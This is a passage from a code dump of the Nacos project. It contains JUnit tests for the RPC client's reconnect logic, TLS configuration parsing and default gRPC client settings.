buildTestStartClient(serverInfo -> {\n            connection.serverInfo = serverInfo;\n            return connection;\n        });\n        try {\n            rpcClient.start();\n            System.setProperty(\"nacos.server.port\", \"2.2.2.2\");\n            ConnectResetRequest connectResetRequest = new ConnectResetRequest();\n            connectResetRequest.setServerIp(\"2.2.2.2\");\n            Response response = rpcClient.handleServerRequest(connectResetRequest);\n            assertTrue(response instanceof ConnectResetResponse);\n            TimeUnit.MILLISECONDS.sleep(500);\n            assertEquals(\"127.0.0.1\", connection.serverInfo.getServerIp());\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testHandleClientDetectionRequest() throws NacosException {\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> null);\n        try {\n            rpcClient.start();\n            Response response = rpcClient.handleServerRequest(new ClientDetectionRequest());\n            assertTrue(response instanceof ClientDetectionResponse);\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testHandleOtherRequest() throws NacosException {\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> null);\n        try {\n            rpcClient.start();\n            Response response = rpcClient.handleServerRequest(new HealthCheckRequest());\n            assertNull(response);\n        } finally {\n            rpcClient.shutdown();\n        }\n    }\n    \n    @Test\n    void testReconnectForRequestFailButHealthCheckOK() throws NacosException {\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> null);\n        rpcClient.currentConnection = connection;\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        when(connection.request(any(Request.class), anyLong())).thenReturn(new HealthCheckResponse());\n        rpcClient.reconnect(null, true);\n        assertTrue(rpcClient.isRunning());\n    }\n    \n    @Test\n    void testReconnectFailTimes() throws NacosException {\n        when(serverListFactory.genNextServer()).thenReturn(\"127.0.0.1:8848\");\n        when(serverListFactory.getServerList()).thenReturn(Collections.singletonList(\"127.0.0.1:8848\"));\n        final AtomicInteger count = new AtomicInteger(0);\n        RpcClient rpcClient = buildTestStartClient(serverInfo -> {\n            int actual = count.incrementAndGet();\n            return actual > 3 ? connection : null;\n        });\n        rpcClient.currentConnection = connection;\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        long start = System.currentTimeMillis();\n        rpcClient.reconnect(null, false);\n        assertTrue(rpcClient.isRunning());\n        assertTrue(System.currentTimeMillis() - start > 400);\n    }\n    \n    @Test\n    void testGetCurrentServer() {\n        assertNull(rpcClient.getCurrentServer());\n        rpcClient.currentConnection = connection;\n        rpcClient.serverListFactory(serverListFactory);\n        connection.serverInfo = new RpcClient.ServerInfo(\"127.0.0.1\", 8848);\n        assertNotNull(rpcClient.getCurrentServer());\n    }\n    \n    @Test\n    void testCurrentRpcServer() throws IllegalAccessException {\n        when(serverListFactory.getCurrentServer()).thenReturn(\"127.0.0.1:8848\");\n        serverListFactoryField.set(rpcClient, serverListFactory);\n        RpcClient.ServerInfo serverInfo = rpcClient.currentRpcServer();\n        assertEquals(\"127.0.0.1\", serverInfo.getServerIp());\n        assertEquals(8848, serverInfo.getServerPort());\n        assertEquals(\"127.0.0.1:8848\", serverInfo.getAddress());\n    }\n    \n    private RpcClient buildTestStartClient(Function<RpcClient.ServerInfo, Connection> function) {\n        return new RpcClient(rpcClientConfig, serverListFactory) {\n            \n            @Override\n            public ConnectionType getConnectionType() {\n                return ConnectionType.GRPC;\n            }\n            \n            @Override\n            public int rpcPortOffset() {\n                return 0;\n            }\n            \n            @Override\n            public Connection connectToServer(ServerInfo serverInfo) {\n                return function.apply(serverInfo);\n            }\n        };\n    }\n    \n    @Test\n    void testServerInfoSet() {\n        RpcClient.ServerInfo serverInfo = new RpcClient.ServerInfo();\n        String ip = \"127.0.0.1\";\n        int port = 80;\n        serverInfo.setServerIp(ip);\n        serverInfo.setServerPort(port);\n        assertEquals(\"127.0.0.1:80\", serverInfo.getAddress());\n        assertEquals(port, serverInfo.getServerPort());\n        assertEquals(ip, serverInfo.getServerIp());\n        String expected = \"{serverIp = '127.0.0.1', server main port = 80}\";\n        assertEquals(expected, serverInfo.toString());\n    }\n    \n    @Test\n    void testSetTenant() {\n        String tenant = \"testTenant\";\n        assertNull(rpcClient.getTenant());\n        rpcClient.setTenant(tenant);\n        assertEquals(tenant, rpcClient.getTenant());\n    }\n    \n    @Test\n    void testGetConnectionAbilityWithNullConnection() {\n        AbilityStatus abilityStatus = rpcClient.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH);\n        assertNull(abilityStatus);\n    }\n    \n    @Test\n    void testGetConnectionAbilityWithReadyConnection() {\n        when(connection.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH)).thenReturn(AbilityStatus.SUPPORTED);\n        rpcClient.currentConnection = connection;\n        AbilityStatus abilityStatus = rpcClient.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH);\n        assertNotNull(abilityStatus);\n        assertEquals(AbilityStatus.SUPPORTED, abilityStatus);\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/RpcClientTlsConfigTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass RpcClientTlsConfigTest {\n    \n    @Test\n    void testEnableTls() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_TLS_ENABLE, \"true\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertTrue(tlsConfig.getEnableTls());\n    }\n    \n    @Test\n    void testSslProvider() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_TLS_PROVIDER, \"provider\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertEquals(\"provider\", tlsConfig.getSslProvider());\n    }\n    \n    @Test\n    void testMutualAuthEnable() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_MUTUAL_AUTH, \"true\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertTrue(tlsConfig.getMutualAuthEnable());\n    }\n    \n    @Test\n    void testProtocols() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_TLS_PROTOCOLS, \"protocols\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertEquals(\"protocols\", tlsConfig.getProtocols());\n    }\n    \n    @Test\n    void testCiphers() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_TLS_CIPHERS, \"ciphers\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertEquals(\"ciphers\", tlsConfig.getCiphers());\n    }\n    \n    @Test\n    void testTrustCollectionCertFile() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_TLS_TRUST_COLLECTION_CHAIN_PATH, \"trustCollectionCertFile\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertEquals(\"trustCollectionCertFile\", tlsConfig.getTrustCollectionCertFile());\n    }\n    \n    @Test\n    void testCertChainFile() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_TLS_CERT_CHAIN_PATH, \"certChainFile\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertEquals(\"certChainFile\", tlsConfig.getCertChainFile());\n    }\n    \n    @Test\n    void testCertPrivateKey() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_TLS_CERT_KEY, \"certPrivateKey\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertEquals(\"certPrivateKey\", tlsConfig.getCertPrivateKey());\n    }\n    \n    @Test\n    void testTrustAll() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_TLS_TRUST_ALL, \"true\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertTrue(tlsConfig.getTrustAll());\n    }\n    \n    @Test\n    void testCertPrivateKeyPassword() {\n        Properties properties = new Properties();\n        properties.setProperty(RpcConstants.RPC_CLIENT_TLS_TRUST_PWD, \"trustPwd\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createSdkConfig(properties);\n        assertEquals(\"trustPwd\", tlsConfig.getCertPrivateKeyPassword());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/RpcClusterClientTlsConfigTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Properties;\n\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.NACOS_PEER_RPC;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.MUTUAL_AUTH;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.TLS_CERT_CHAIN_PATH;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.TLS_CERT_KEY;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.TLS_CIPHERS;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.TLS_ENABLE;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.TLS_PROTOCOLS;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.TLS_PROVIDER;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.TLS_TRUST_ALL;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.TLS_TRUST_COLLECTION_CHAIN_PATH;\nimport static com.alibaba.nacos.common.remote.client.RpcConstants.ServerSuffix.TLS_TRUST_PWD;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass RpcClusterClientTlsConfigTest {\n    \n    @Test\n    void testEnableTls() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertTrue(tlsConfig.getEnableTls());\n    }\n    \n    @Test\n    void testSslProvider() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        properties.setProperty(NACOS_PEER_RPC + TLS_PROVIDER, \"provider\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertEquals(\"provider\", tlsConfig.getSslProvider());\n    }\n    \n    @Test\n    void testMutualAuthEnable() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        properties.setProperty(NACOS_PEER_RPC + MUTUAL_AUTH, \"true\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertTrue(tlsConfig.getMutualAuthEnable());\n    }\n    \n    @Test\n    void testProtocols() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        properties.setProperty(NACOS_PEER_RPC + TLS_PROTOCOLS, \"protocols\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertEquals(\"protocols\", tlsConfig.getProtocols());\n    }\n    \n    @Test\n    void testCiphers() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        properties.setProperty(NACOS_PEER_RPC + TLS_CIPHERS, \"ciphers\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertEquals(\"ciphers\", tlsConfig.getCiphers());\n    }\n    \n    @Test\n    void testTrustCollectionCertFile() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        properties.setProperty(NACOS_PEER_RPC + TLS_TRUST_COLLECTION_CHAIN_PATH, \"trustCollectionCertFile\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertEquals(\"trustCollectionCertFile\", tlsConfig.getTrustCollectionCertFile());\n    }\n    \n    @Test\n    void testCertChainFile() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        properties.setProperty(NACOS_PEER_RPC + TLS_CERT_CHAIN_PATH, \"certChainFile\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertEquals(\"certChainFile\", tlsConfig.getCertChainFile());\n    }\n    \n    @Test\n    void testCertPrivateKey() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        properties.setProperty(NACOS_PEER_RPC + TLS_CERT_KEY, \"certPrivateKey\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertEquals(\"certPrivateKey\", tlsConfig.getCertPrivateKey());\n    }\n    \n    @Test\n    void testTrustAll() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        properties.setProperty(NACOS_PEER_RPC + TLS_TRUST_ALL, \"true\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertTrue(tlsConfig.getTrustAll());\n    }\n    \n    @Test\n    void testCertPrivateKeyPassword() {\n        Properties properties = new Properties();\n        properties.setProperty(NACOS_PEER_RPC + TLS_ENABLE, \"true\");\n        properties.setProperty(NACOS_PEER_RPC + TLS_TRUST_PWD, \"trustPwd\");\n        RpcClientTlsConfig tlsConfig = RpcClientTlsConfigFactory.getInstance().createClusterConfig(properties);\n        assertEquals(\"trustPwd\", tlsConfig.getCertPrivateKeyPassword());\n    }\n}\n\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/RpcConstantsTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass RpcConstantsTest {\n    \n    @Test\n    void testGetRpcParams() {\n        Field[] declaredFields = RpcConstants.class.getDeclaredFields();\n        int i = 0;\n        for (Field declaredField : declaredFields) {\n            declaredField.setAccessible(true);\n            if (declaredField.getType().equals(String.class) && null != declaredField.getAnnotation(\n                    RpcConstants.RpcConfigLabel.class)) {\n                i++;\n            }\n        }\n        assertEquals(i, RpcConstants.getRpcParams().size());\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/grpc/DefaultGrpcClientConfigTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.remote.client.grpc;\n\nimport com.alibaba.nacos.common.remote.client.RpcClientTlsConfig;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\n\nclass DefaultGrpcClientConfigTest {\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        System.setProperty(\"nacos.common.processors\", \"2\");\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        System.clearProperty(\"nacos.common.processors\");\n    }\n    \n    @Test\n    void testDefault() {\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) DefaultGrpcClientConfig.newBuilder().build();\n        assertNull(config.name());\n        assertEquals(3, config.retryTimes());\n        assertEquals(3000L, config.timeOutMills());\n        assertEquals(5000L, config.connectionKeepAlive());\n        assertEquals(10000L, config.threadPoolKeepAlive());\n        assertEquals(4, config.threadPoolCoreSize());\n        assertEquals(16, config.threadPoolMaxSize());\n        assertEquals(3000L, config.serverCheckTimeOut());\n        assertEquals(10000, config.threadPoolQueueSize());\n        assertEquals(10 * 1024 * 1024, config.maxInboundMessageSize());\n        assertEquals(6 * 60 * 1000, config.channelKeepAlive());\n        assertEquals(TimeUnit.SECONDS.toMillis(20L), config.channelKeepAliveTimeout());\n        assertEquals(3, config.healthCheckRetryTimes());\n        assertEquals(3000L, config.healthCheckTimeOut());\n        assertEquals(5000L, config.capabilityNegotiationTimeout());\n        assertFalse(config.allowCoreThreadTimeOut());\n        assertEquals(1, config.labels().size());\n        assertNotNull(config.tlsConfig());\n    }\n    \n    @Test\n    void testFromProperties() {\n        Properties properties = new Properties();\n        properties.setProperty(GrpcConstants.GRPC_NAME, \"test\");\n        properties.setProperty(GrpcConstants.GRPC_RETRY_TIMES, \"3\");\n        properties.setProperty(GrpcConstants.GRPC_TIMEOUT_MILLS, \"3000\");\n        properties.setProperty(GrpcConstants.GRPC_CONNECT_KEEP_ALIVE_TIME, \"5000\");\n        properties.setProperty(GrpcConstants.GRPC_THREADPOOL_KEEPALIVETIME, \"10000\");\n        properties.setProperty(GrpcConstants.GRPC_THREADPOOL_CORE_SIZE, \"2\");\n        properties.setProperty(GrpcConstants.GRPC_THREADPOOL_MAX_SIZE, \"8\");\n        properties.setProperty(GrpcConstants.GRPC_SERVER_CHECK_TIMEOUT, \"3000\");\n        properties.setProperty(GrpcConstants.GRPC_QUEUESIZE, \"10000\");\n        properties.setProperty(GrpcConstants.GRPC_MAX_INBOUND_MESSAGE_SIZE, \"10485760\");\n        properties.setProperty(GrpcConstants.GRPC_CHANNEL_KEEP_ALIVE_TIME, \"60000\");\n        properties.setProperty(GrpcConstants.GRPC_CHANNEL_KEEP_ALIVE_TIMEOUT, \"20000\");\n        properties.setProperty(GrpcConstants.GRPC_HEALTHCHECK_RETRY_TIMES, \"3\");\n        properties.setProperty(GrpcConstants.GRPC_HEALTHCHECK_TIMEOUT, \"3000\");\n        properties.setProperty(GrpcConstants.GRPC_CHANNEL_CAPABILITY_NEGOTIATION_TIMEOUT, \"5000\");\n        properties.setProperty(GrpcConstants.GRPC_THREADPOOL_ALLOW_CORE_THREAD_TIMEOUT, \"false\");\n        \n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) DefaultGrpcClientConfig.newBuilder()\n                .fromProperties(properties, null).build();\n        \n        assertEquals(\"test\", config.name());\n        assertEquals(3, config.retryTimes());\n        assertEquals(3000, config.timeOutMills());\n        assertEquals(5000, config.connectionKeepAlive());\n        assertEquals(10000, config.threadPoolKeepAlive());\n        assertEquals(2, config.threadPoolCoreSize());\n        assertEquals(8, config.threadPoolMaxSize());\n        assertEquals(3000, config.serverCheckTimeOut());\n        assertEquals(10000, config.threadPoolQueueSize());\n        assertEquals(10485760, config.maxInboundMessageSize());\n        assertEquals(60000, config.channelKeepAlive());\n        assertEquals(20000, config.channelKeepAliveTimeout());\n        assertEquals(3, config.healthCheckRetryTimes());\n        assertEquals(3000, config.healthCheckTimeOut());\n        assertEquals(5000, config.capabilityNegotiationTimeout());\n        assertEquals(false, config.allowCoreThreadTimeOut());\n        assertEquals(1, config.labels().size());\n        assertNotNull(config.tlsConfig());\n    }\n    \n    @Test\n    void testName() {\n        String name = \"test\";\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setName(name);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(name, config.name());\n    }\n    \n    @Test\n    void testSetRetryTimes() {\n        int retryTimes = 3;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setRetryTimes(retryTimes);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(retryTimes, config.retryTimes());\n    }\n    \n    @Test\n    void testSetTimeOutMills() {\n        long timeOutMills = 3000;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setTimeOutMills(timeOutMills);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(timeOutMills, config.timeOutMills());\n    }\n    \n    @Test\n    void testSetConnectionKeepAlive() {\n        long connectionKeepAlive = 5000;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setConnectionKeepAlive(connectionKeepAlive);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(connectionKeepAlive, config.connectionKeepAlive());\n    }\n    \n    @Test\n    void testSetThreadPoolKeepAlive() {\n        long threadPoolKeepAlive = 10000;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setThreadPoolKeepAlive(threadPoolKeepAlive);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(threadPoolKeepAlive, config.threadPoolKeepAlive());\n    }\n    \n    @Test\n    void testSetThreadPoolCoreSize() {\n        int threadPoolCoreSize = 2;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setThreadPoolCoreSize(threadPoolCoreSize);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(threadPoolCoreSize, config.threadPoolCoreSize());\n    }\n    \n    @Test\n    void testSetThreadPoolMaxSize() {\n        int threadPoolMaxSize = 8;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setThreadPoolMaxSize(threadPoolMaxSize);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(threadPoolMaxSize, config.threadPoolMaxSize());\n    }\n    \n    @Test\n    void testSetServerCheckTimeOut() {\n        long serverCheckTimeOut = 3000;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setServerCheckTimeOut(serverCheckTimeOut);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(serverCheckTimeOut, config.serverCheckTimeOut());\n    }\n    \n    @Test\n    void testSetThreadPoolQueueSize() {\n        int threadPoolQueueSize = 10000;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setThreadPoolQueueSize(threadPoolQueueSize);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(threadPoolQueueSize, config.threadPoolQueueSize());\n    }\n    \n    @Test\n    void testSetMaxInboundMessageSize() {\n        int maxInboundMessageSize = 10485760;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setMaxInboundMessageSize(maxInboundMessageSize);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(maxInboundMessageSize, config.maxInboundMessageSize());\n    }\n    \n    @Test\n    void testSetChannelKeepAlive() {\n        int channelKeepAlive = 60000;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setChannelKeepAlive(channelKeepAlive);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(channelKeepAlive, config.channelKeepAlive());\n    }\n    \n    @Test\n    void testSetChannelKeepAliveTimeout() {\n        int channelKeepAliveTimeout = 20000;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setChannelKeepAliveTimeout(channelKeepAliveTimeout);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(channelKeepAliveTimeout, config.channelKeepAliveTimeout());\n    }\n    \n    @Test\n    void testSetCapabilityNegotiationTimeout() {\n        long capabilityNegotiationTimeout = 5000;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setCapabilityNegotiationTimeout(capabilityNegotiationTimeout);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(capabilityNegotiationTimeout, config.capabilityNegotiationTimeout());\n    }\n    \n    @Test\n    void testSetHealthCheckRetryTimes() {\n        int healthCheckRetryTimes = 3;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setHealthCheckRetryTimes(healthCheckRetryTimes);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(healthCheckRetryTimes, config.healthCheckRetryTimes());\n    }\n    \n    @Test\n    void testSetHealthCheckTimeOut() {\n        long healthCheckTimeOut = 3000;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setHealthCheckTimeOut(healthCheckTimeOut);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(healthCheckTimeOut, config.healthCheckTimeOut());\n    }\n    \n    @Test\n    void testSetLabels() {\n        Map<String, String> labels = new HashMap<>();\n        labels.put(\"key1\", \"value1\");\n        labels.put(\"key2\", \"value2\");\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setLabels(labels);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(3, config.labels().size());\n        assertEquals(\"value1\", config.labels().get(\"key1\"));\n        assertEquals(\"value2\", config.labels().get(\"key2\"));\n    }\n    \n    @Test\n    void testSetTlsConfig() {\n        RpcClientTlsConfig tlsConfig = new RpcClientTlsConfig();\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setTlsConfig(tlsConfig);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(tlsConfig, config.tlsConfig());\n    }\n    \n    @Test\n    void testSetTlsConfigDirectly() {\n        RpcClientTlsConfig tlsConfig = new RpcClientTlsConfig();\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        config.setTlsConfig(tlsConfig);\n        assertEquals(tlsConfig, config.tlsConfig());\n    }\n    \n    @Test\n    void testSetAllowCoreThreadTimeOut() {\n        boolean allowCoreThreadTimeOut = false;\n        DefaultGrpcClientConfig.Builder builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setAllowCoreThreadTimeOut(allowCoreThreadTimeOut);\n        DefaultGrpcClientConfig config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(allowCoreThreadTimeOut, config.allowCoreThreadTimeOut());\n        \n        // Test with true value\n        allowCoreThreadTimeOut = true;\n        builder = DefaultGrpcClientConfig.newBuilder();\n        builder.setAllowCoreThreadTimeOut(allowCoreThreadTimeOut);\n        config = (DefaultGrpcClientConfig) builder.build();\n        assertEquals(allowCoreThreadTimeOut, config.allowCoreThreadTimeOut());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/remote/client/grpc/GrpcClientTest.java",
